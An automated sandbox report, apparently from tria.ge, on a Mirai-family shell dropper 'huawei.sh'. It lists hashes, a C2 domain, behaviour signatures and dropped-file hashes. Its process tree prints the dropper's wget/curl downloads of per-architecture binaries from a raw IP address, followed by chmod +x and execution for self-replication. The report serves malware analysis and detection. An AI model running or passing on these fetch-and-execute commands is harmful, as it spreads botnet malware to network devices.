Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    132s
  • max time network
    150s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240611-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    11/03/2025, 08:29

General

  • Target

    huawei.sh

  • Size

    2KB

  • MD5

    8d6ef05d1948cecba422e0f81c304cd0

  • SHA1

    c596c34265e6be88262c26a8acdf85a15718c163

  • SHA256

    bea439bc741379378dd3608de6921b4079a7d18a26bde6eb8a301da29abb788b

  • SHA512

    a32f2820f0a047e990a1a96e14f00cc60a1051851944c77dc66db069beb22ed1846efdbee2540394f53e49576c897d99f02a8b5aa36b54857b02638ee49ffb2e

Malware Config

Extracted

Family

mirai

Botnet

UNSTABLE

C2

dasdv1.service1921.club

Signatures

  • Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • Mirai family
  • File and Directory Permissions Modification 1 TTPs 13 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Deletes itself 1 IoCs
  • Executes dropped EXE 13 IoCs
  • Modifies Watchdog functionality 1 TTPs 2 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • Writes file to system bin folder 2 IoCs
  • UPX packed file 5 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Changes its process name 1 IoCs
  • Reads runtime system information 2 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 3 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 25 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/huawei.sh
    /tmp/huawei.sh
    1⤵
    • Deletes itself
    • Executes dropped EXE
    • Modifies Watchdog functionality
    • Writes file to system bin folder
    • Changes its process name
    • Reads runtime system information
    • Writes file to tmp directory
    PID:1501
    • /usr/bin/wget
      wget http://78.40.117.13/EdiAf.x86
      2⤵
      • Writes file to tmp directory
      PID:1502
    • /usr/bin/curl
      curl -O http://78.40.117.13/EdiAf.x86
      2⤵
      • Writes file to tmp directory
      PID:1503
    • /bin/cat
      cat EdiAf.x86
      2⤵
        PID:1507
      • /bin/chmod
        chmod +x config-err-mZMP9n EdiAf.x86 huawei.sh netplan_znlaot3u snap-private-tmp ssh-143HBEtUYXaU systemd-private-adbdba10631143cea7e361f4ab093567-bolt.service-szBJJo systemd-private-adbdba10631143cea7e361f4ab093567-colord.service-IwNC4m systemd-private-adbdba10631143cea7e361f4ab093567-ModemManager.service-M5SDno systemd-private-adbdba10631143cea7e361f4ab093567-systemd-resolved.service-gJvLJP systemd-private-adbdba10631143cea7e361f4ab093567-systemd-timedated.service-eM1njR WTH
        2⤵
        • File and Directory Permissions Modification
        PID:1508
      • /usr/bin/wget
        wget http://78.40.117.13/EdiAf.mips
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:1511
      • /usr/bin/curl
        curl -O http://78.40.117.13/EdiAf.mips
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:1513
      • /bin/cat
        cat EdiAf.mips
        2⤵
        • System Network Configuration Discovery
        PID:1518
      • /bin/chmod
        chmod +x config-err-mZMP9n EdiAf.mips EdiAf.x86 huawei.sh netplan_znlaot3u snap-private-tmp ssh-143HBEtUYXaU systemd-private-adbdba10631143cea7e361f4ab093567-bolt.service-szBJJo systemd-private-adbdba10631143cea7e361f4ab093567-colord.service-IwNC4m systemd-private-adbdba10631143cea7e361f4ab093567-ModemManager.service-M5SDno systemd-private-adbdba10631143cea7e361f4ab093567-systemd-resolved.service-gJvLJP systemd-private-adbdba10631143cea7e361f4ab093567-systemd-timedated.service-eM1njR WTH
        2⤵
        • File and Directory Permissions Modification
        PID:1519
      • /tmp/WTH
        ./WTH huawei.selfrep
        2⤵
          PID:1520
        • /usr/bin/wget
          wget http://78.40.117.13/EdiAf.mpsl
          2⤵
          • Writes file to tmp directory
          PID:1522
        • /usr/bin/curl
          curl -O http://78.40.117.13/EdiAf.mpsl
          2⤵
          • Writes file to tmp directory
          PID:1526
        • /bin/cat
          cat EdiAf.mpsl
          2⤵
            PID:1527
          • /bin/chmod
            chmod +x config-err-mZMP9n EdiAf.mips EdiAf.mpsl EdiAf.x86 huawei.sh netplan_znlaot3u snap-private-tmp ssh-143HBEtUYXaU systemd-private-adbdba10631143cea7e361f4ab093567-bolt.service-szBJJo systemd-private-adbdba10631143cea7e361f4ab093567-colord.service-IwNC4m systemd-private-adbdba10631143cea7e361f4ab093567-ModemManager.service-M5SDno systemd-private-adbdba10631143cea7e361f4ab093567-systemd-resolved.service-gJvLJP systemd-private-adbdba10631143cea7e361f4ab093567-systemd-timedated.service-eM1njR WTH
            2⤵
            • File and Directory Permissions Modification
            PID:1528
          • /tmp/WTH
            ./WTH huawei.selfrep
            2⤵
              PID:1529
            • /usr/bin/wget
              wget http://78.40.117.13/EdiAf.arm
              2⤵
              • Writes file to tmp directory
              PID:1531
            • /usr/bin/curl
              curl -O http://78.40.117.13/EdiAf.arm
              2⤵
              • Writes file to tmp directory
              PID:1532
            • /bin/cat
              cat EdiAf.arm
              2⤵
                PID:1533
              • /bin/chmod
                chmod +x config-err-mZMP9n EdiAf.arm EdiAf.mips EdiAf.mpsl EdiAf.x86 huawei.sh netplan_znlaot3u snap-private-tmp ssh-143HBEtUYXaU systemd-private-adbdba10631143cea7e361f4ab093567-bolt.service-szBJJo systemd-private-adbdba10631143cea7e361f4ab093567-colord.service-IwNC4m systemd-private-adbdba10631143cea7e361f4ab093567-ModemManager.service-M5SDno systemd-private-adbdba10631143cea7e361f4ab093567-systemd-resolved.service-gJvLJP systemd-private-adbdba10631143cea7e361f4ab093567-systemd-timedated.service-eM1njR WTH
                2⤵
                • File and Directory Permissions Modification
                PID:1534
              • /tmp/WTH
                ./WTH huawei.selfrep
                2⤵
                  PID:1535
                • /usr/bin/wget
                  wget http://78.40.117.13/EdiAf.arm5
                  2⤵
                  • Writes file to tmp directory
                  PID:1537
                • /usr/bin/curl
                  curl -O http://78.40.117.13/EdiAf.arm5
                  2⤵
                  • Writes file to tmp directory
                  PID:1538
                • /bin/cat
                  cat EdiAf.arm5
                  2⤵
                    PID:1539
                  • /bin/chmod
                    chmod +x config-err-mZMP9n EdiAf.arm EdiAf.arm5 EdiAf.mips EdiAf.mpsl EdiAf.x86 huawei.sh netplan_znlaot3u snap-private-tmp ssh-143HBEtUYXaU systemd-private-adbdba10631143cea7e361f4ab093567-bolt.service-szBJJo systemd-private-adbdba10631143cea7e361f4ab093567-colord.service-IwNC4m systemd-private-adbdba10631143cea7e361f4ab093567-ModemManager.service-M5SDno systemd-private-adbdba10631143cea7e361f4ab093567-systemd-resolved.service-gJvLJP systemd-private-adbdba10631143cea7e361f4ab093567-systemd-timedated.service-eM1njR WTH
                    2⤵
                    • File and Directory Permissions Modification
                    PID:1540
                  • /tmp/WTH
                    ./WTH huawei.selfrep
                    2⤵
                      PID:1541
                    • /usr/bin/wget
                      wget http://78.40.117.13/EdiAf.arm6
                      2⤵
                      • Writes file to tmp directory
                      PID:1543
                    • /usr/bin/curl
                      curl -O http://78.40.117.13/EdiAf.arm6
                      2⤵
                      • Writes file to tmp directory
                      PID:1544
                    • /bin/cat
                      cat EdiAf.arm6
                      2⤵
                        PID:1545
                      • /bin/chmod
                        chmod +x config-err-mZMP9n EdiAf.arm EdiAf.arm5 EdiAf.arm6 EdiAf.mips EdiAf.mpsl EdiAf.x86 huawei.sh netplan_znlaot3u snap-private-tmp ssh-143HBEtUYXaU systemd-private-adbdba10631143cea7e361f4ab093567-bolt.service-szBJJo systemd-private-adbdba10631143cea7e361f4ab093567-colord.service-IwNC4m systemd-private-adbdba10631143cea7e361f4ab093567-ModemManager.service-M5SDno systemd-private-adbdba10631143cea7e361f4ab093567-systemd-resolved.service-gJvLJP systemd-private-adbdba10631143cea7e361f4ab093567-systemd-timedated.service-eM1njR WTH
                        2⤵
                        • File and Directory Permissions Modification
                        PID:1546
                      • /tmp/WTH
                        ./WTH huawei.selfrep
                        2⤵
                          PID:1547
                        • /usr/bin/wget
                          wget http://78.40.117.13/EdiAf.arm7
                          2⤵
                          • Writes file to tmp directory
                          PID:1549
                        • /usr/bin/curl
                          curl -O http://78.40.117.13/EdiAf.arm7
                          2⤵
                          • Writes file to tmp directory
                          PID:1550
                        • /bin/cat
                          cat EdiAf.arm7
                          2⤵
                            PID:1551
                          • /bin/chmod
                            chmod +x config-err-mZMP9n EdiAf.arm EdiAf.arm5 EdiAf.arm6 EdiAf.arm7 EdiAf.mips EdiAf.mpsl EdiAf.x86 huawei.sh netplan_znlaot3u snap-private-tmp ssh-143HBEtUYXaU systemd-private-adbdba10631143cea7e361f4ab093567-bolt.service-szBJJo systemd-private-adbdba10631143cea7e361f4ab093567-colord.service-IwNC4m systemd-private-adbdba10631143cea7e361f4ab093567-ModemManager.service-M5SDno systemd-private-adbdba10631143cea7e361f4ab093567-systemd-resolved.service-gJvLJP systemd-private-adbdba10631143cea7e361f4ab093567-systemd-timedated.service-eM1njR WTH
                            2⤵
                            • File and Directory Permissions Modification
                            PID:1552
                          • /tmp/WTH
                            ./WTH huawei.selfrep
                            2⤵
                              PID:1553
                            • /usr/bin/wget
                              wget http://78.40.117.13/EdiAf.ppc
                              2⤵
                              • Writes file to tmp directory
                              PID:1555
                            • /usr/bin/curl
                              curl -O http://78.40.117.13/EdiAf.ppc
                              2⤵
                              • Writes file to tmp directory
                              PID:1556
                            • /bin/cat
                              cat EdiAf.ppc
                              2⤵
                                PID:1557
                              • /bin/chmod
                                chmod +x config-err-mZMP9n EdiAf.arm EdiAf.arm5 EdiAf.arm6 EdiAf.arm7 EdiAf.mips EdiAf.mpsl EdiAf.ppc EdiAf.x86 huawei.sh netplan_znlaot3u snap-private-tmp ssh-143HBEtUYXaU systemd-private-adbdba10631143cea7e361f4ab093567-bolt.service-szBJJo systemd-private-adbdba10631143cea7e361f4ab093567-colord.service-IwNC4m systemd-private-adbdba10631143cea7e361f4ab093567-ModemManager.service-M5SDno systemd-private-adbdba10631143cea7e361f4ab093567-systemd-resolved.service-gJvLJP systemd-private-adbdba10631143cea7e361f4ab093567-systemd-timedated.service-eM1njR WTH
                                2⤵
                                • File and Directory Permissions Modification
                                PID:1558
                              • /tmp/WTH
                                ./WTH huawei.selfrep
                                2⤵
                                  PID:1559
                                • /usr/bin/wget
                                  wget http://78.40.117.13/EdiAf.m68k
                                  2⤵
                                  • Writes file to tmp directory
                                  PID:1561
                                • /usr/bin/curl
                                  curl -O http://78.40.117.13/EdiAf.m68k
                                  2⤵
                                  • Writes file to tmp directory
                                  PID:1562
                                • /bin/cat
                                  cat EdiAf.m68k
                                  2⤵
                                    PID:1563
                                  • /bin/chmod
                                    chmod +x config-err-mZMP9n EdiAf.arm EdiAf.arm5 EdiAf.arm6 EdiAf.arm7 EdiAf.m68k EdiAf.mips EdiAf.mpsl EdiAf.ppc EdiAf.x86 huawei.sh netplan_znlaot3u snap-private-tmp ssh-143HBEtUYXaU systemd-private-adbdba10631143cea7e361f4ab093567-bolt.service-szBJJo systemd-private-adbdba10631143cea7e361f4ab093567-colord.service-IwNC4m systemd-private-adbdba10631143cea7e361f4ab093567-ModemManager.service-M5SDno systemd-private-adbdba10631143cea7e361f4ab093567-systemd-resolved.service-gJvLJP systemd-private-adbdba10631143cea7e361f4ab093567-systemd-timedated.service-eM1njR WTH
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:1564
                                  • /tmp/WTH
                                    ./WTH huawei.selfrep
                                    2⤵
                                      PID:1565
                                    • /usr/bin/wget
                                      wget http://78.40.117.13/EdiAf.spc
                                      2⤵
                                      • Writes file to tmp directory
                                      PID:1567
                                    • /usr/bin/curl
                                      curl -O http://78.40.117.13/EdiAf.spc
                                      2⤵
                                      • Writes file to tmp directory
                                      PID:1568
                                    • /bin/cat
                                      cat EdiAf.spc
                                      2⤵
                                        PID:1569
                                      • /bin/chmod
                                        chmod +x config-err-mZMP9n EdiAf.arm EdiAf.arm5 EdiAf.arm6 EdiAf.arm7 EdiAf.m68k EdiAf.mips EdiAf.mpsl EdiAf.ppc EdiAf.spc EdiAf.x86 huawei.sh netplan_znlaot3u snap-private-tmp ssh-143HBEtUYXaU systemd-private-adbdba10631143cea7e361f4ab093567-bolt.service-szBJJo systemd-private-adbdba10631143cea7e361f4ab093567-colord.service-IwNC4m systemd-private-adbdba10631143cea7e361f4ab093567-ModemManager.service-M5SDno systemd-private-adbdba10631143cea7e361f4ab093567-systemd-resolved.service-gJvLJP systemd-private-adbdba10631143cea7e361f4ab093567-systemd-timedated.service-eM1njR WTH
                                        2⤵
                                        • File and Directory Permissions Modification
                                        PID:1570
                                      • /tmp/WTH
                                        ./WTH huawei.selfrep
                                        2⤵
                                          PID:1571
                                        • /usr/bin/wget
                                          wget http://78.40.117.13/EdiAf.i686
                                          2⤵
                                            PID:1573
                                          • /usr/bin/curl
                                            curl -O http://78.40.117.13/EdiAf.i686
                                            2⤵
                                            • Writes file to tmp directory
                                            PID:1574
                                          • /bin/cat
                                            cat EdiAf.i686
                                            2⤵
                                              PID:1575
                                            • /bin/chmod
                                              chmod +x config-err-mZMP9n EdiAf.arm EdiAf.arm5 EdiAf.arm6 EdiAf.arm7 EdiAf.i686 EdiAf.m68k EdiAf.mips EdiAf.mpsl EdiAf.ppc EdiAf.spc EdiAf.x86 huawei.sh netplan_znlaot3u snap-private-tmp ssh-143HBEtUYXaU systemd-private-adbdba10631143cea7e361f4ab093567-bolt.service-szBJJo systemd-private-adbdba10631143cea7e361f4ab093567-colord.service-IwNC4m systemd-private-adbdba10631143cea7e361f4ab093567-ModemManager.service-M5SDno systemd-private-adbdba10631143cea7e361f4ab093567-systemd-resolved.service-gJvLJP systemd-private-adbdba10631143cea7e361f4ab093567-systemd-timedated.service-eM1njR WTH
                                              2⤵
                                              • File and Directory Permissions Modification
                                              PID:1576
                                            • /tmp/WTH
                                              ./WTH huawei.selfrep
                                              2⤵
                                                PID:1577
                                              • /usr/bin/wget
                                                wget http://78.40.117.13/EdiAf.sh4
                                                2⤵
                                                • Writes file to tmp directory
                                                PID:1578
                                              • /usr/bin/curl
                                                curl -O http://78.40.117.13/EdiAf.sh4
                                                2⤵
                                                • Writes file to tmp directory
                                                PID:1579
                                              • /bin/cat
                                                cat EdiAf.sh4
                                                2⤵
                                                  PID:1580
                                                • /bin/chmod
                                                  chmod +x config-err-mZMP9n EdiAf.arm EdiAf.arm5 EdiAf.arm6 EdiAf.arm7 EdiAf.i686 EdiAf.m68k EdiAf.mips EdiAf.mpsl EdiAf.ppc EdiAf.sh4 EdiAf.spc EdiAf.x86 huawei.sh netplan_znlaot3u snap-private-tmp ssh-143HBEtUYXaU systemd-private-adbdba10631143cea7e361f4ab093567-bolt.service-szBJJo systemd-private-adbdba10631143cea7e361f4ab093567-colord.service-IwNC4m systemd-private-adbdba10631143cea7e361f4ab093567-ModemManager.service-M5SDno systemd-private-adbdba10631143cea7e361f4ab093567-systemd-resolved.service-gJvLJP systemd-private-adbdba10631143cea7e361f4ab093567-systemd-timedated.service-eM1njR WTH
                                                  2⤵
                                                  • File and Directory Permissions Modification
                                                  PID:1581
                                                • /tmp/WTH
                                                  ./WTH huawei.selfrep
                                                  2⤵
                                                    PID:1582
                                                  • /usr/bin/wget
                                                    wget http://78.40.117.13/EdiAf.arc
                                                    2⤵
                                                      PID:1584
                                                    • /usr/bin/curl
                                                      curl -O http://78.40.117.13/EdiAf.arc
                                                      2⤵
                                                      • Writes file to tmp directory
                                                      PID:1585
                                                    • /bin/cat
                                                      cat EdiAf.arc
                                                      2⤵
                                                        PID:1586
                                                      • /bin/chmod
                                                        chmod +x config-err-mZMP9n EdiAf.arc EdiAf.arm EdiAf.arm5 EdiAf.arm6 EdiAf.arm7 EdiAf.i686 EdiAf.m68k EdiAf.mips EdiAf.mpsl EdiAf.ppc EdiAf.sh4 EdiAf.spc EdiAf.x86 huawei.sh netplan_znlaot3u snap-private-tmp ssh-143HBEtUYXaU systemd-private-adbdba10631143cea7e361f4ab093567-bolt.service-szBJJo systemd-private-adbdba10631143cea7e361f4ab093567-colord.service-IwNC4m systemd-private-adbdba10631143cea7e361f4ab093567-ModemManager.service-M5SDno systemd-private-adbdba10631143cea7e361f4ab093567-systemd-resolved.service-gJvLJP systemd-private-adbdba10631143cea7e361f4ab093567-systemd-timedated.service-eM1njR WTH
                                                        2⤵
                                                        • File and Directory Permissions Modification
                                                        PID:1587
                                                      • /tmp/WTH
                                                        ./WTH huawei.selfrep
                                                        2⤵
                                                          PID:1588

                                                      Network

                                                      MITRE ATT&CK Enterprise v15

                                                      Replay Monitor

                                                      Loading Replay Monitor...

                                                      Downloads

                                                      • /tmp/EdiAf.x86

                                                        Filesize

                                                        30KB

                                                        MD5

                                                        e932653d32b429c51de2046623fa71d2

                                                        SHA1

                                                        32ecc535e6cf6e99f105835d4a7cb75ef4cb233a

                                                        SHA256

                                                        87dd914f28847f21e680b74700b0b4b339eb8f301677b53b1dddf8ffa2f33612

                                                        SHA512

                                                        e284ce814a09b33a108507645c88845aa478e05d7925742e09f190f4c733630429e9f9460c76b9e3b6ec17eddc3110e8283e515891bcaea4ce0307509fbe84c2

                                                      • /tmp/WTH

                                                        Filesize

                                                        33KB

                                                        MD5

                                                        029a7185777b7f885a6c3807e46b7365

                                                        SHA1

                                                        87372b0029b72446861c7b429e3ef1626c337218

                                                        SHA256

                                                        42c2075a2803b78355f68b9d651a7bd154e5b61f62418d84a3b4d064b5c68a7d

                                                        SHA512

                                                        4890cb74a283c03d790ffe4f2e5fbc06d82d5943773874c00c48171000cb21891720a57eb22e036cd2324e28b476a38f61c29f0d05d2949c2f4c8cdb971779a8

                                                      • /tmp/WTH

                                                        Filesize

                                                        35KB

                                                        MD5

                                                        7327f58c0e15f6086301a81780e100dc

                                                        SHA1

                                                        292bb04ad4df407ac687ef1df1071659708bd3bb

                                                        SHA256

                                                        b9f12d8c72d2a2a7263e1a7c2947e3891212b3566aae1b873212c6031e02de4d

                                                        SHA512

                                                        4cc238acfd72556b2453f4d2880ccc3b2f00d0899c98a6b7eeee7cb139b242b318b8483b3bc70f96ca23934719f2152712d0efb8d9a1c950a0c98eed02452911

                                                      • /tmp/WTH

                                                        Filesize

                                                        32KB

                                                        MD5

                                                        addb1cd662dd870b9b7ed5273d6fa76e

                                                        SHA1

                                                        6e12f9d5128a0de23d4b4b0dbfbefb91ff09dfc0

                                                        SHA256

                                                        cee6e1cc48f81462d1668be2c341d7cc84b24e20e1747be03ad7e296434bffe7

                                                        SHA512

                                                        28525de6add0d53f05e3c7c1e7d84927f40aee8c24d531216b6a77aa0f0a11fddd67b7f41b9eccc9b6692579a0c0f7453145480f7f8bacdd5d7ab13ffaad2d4f

                                                      • /tmp/WTH

                                                        Filesize

                                                        21KB

                                                        MD5

                                                        a117b1b367633cb07f0795bd5f0c6f8f

                                                        SHA1

                                                        32bfac42c7134383c6381b94c0d75317fcb56d11

                                                        SHA256

                                                        40fe55ff37dfaa1eded6d4a0d28994f7eaa4f36c384676bf3587349390a800f0

                                                        SHA512

                                                        7e9e4ac7b911b44f40eb14f684bac76478e95085ac0cc393dac95fa312057e9c4f1a3508338098026bd1369179cccae91ca07092024201b3619fdc4401a25726

                                                      • /tmp/WTH

                                                        Filesize

                                                        75KB

                                                        MD5

                                                        642dff628df548a6c458f004fd3b5aa1

                                                        SHA1

                                                        cfd38a2a7522ed9637978f6f2c6ba117d60a9ec7

                                                        SHA256

                                                        219f1a94474530ae2502631dabb897e1442ce2b535728f36e7eb5153ae2228ed

                                                        SHA512

                                                        dc4ae205c670da0ead108aa30eb7627fab0a11fe4c47ce2c66042f89ef0ba4f52792d8217d98852e0c471f071079bb76bc4b975e32a018e3a5eeceb98c33f851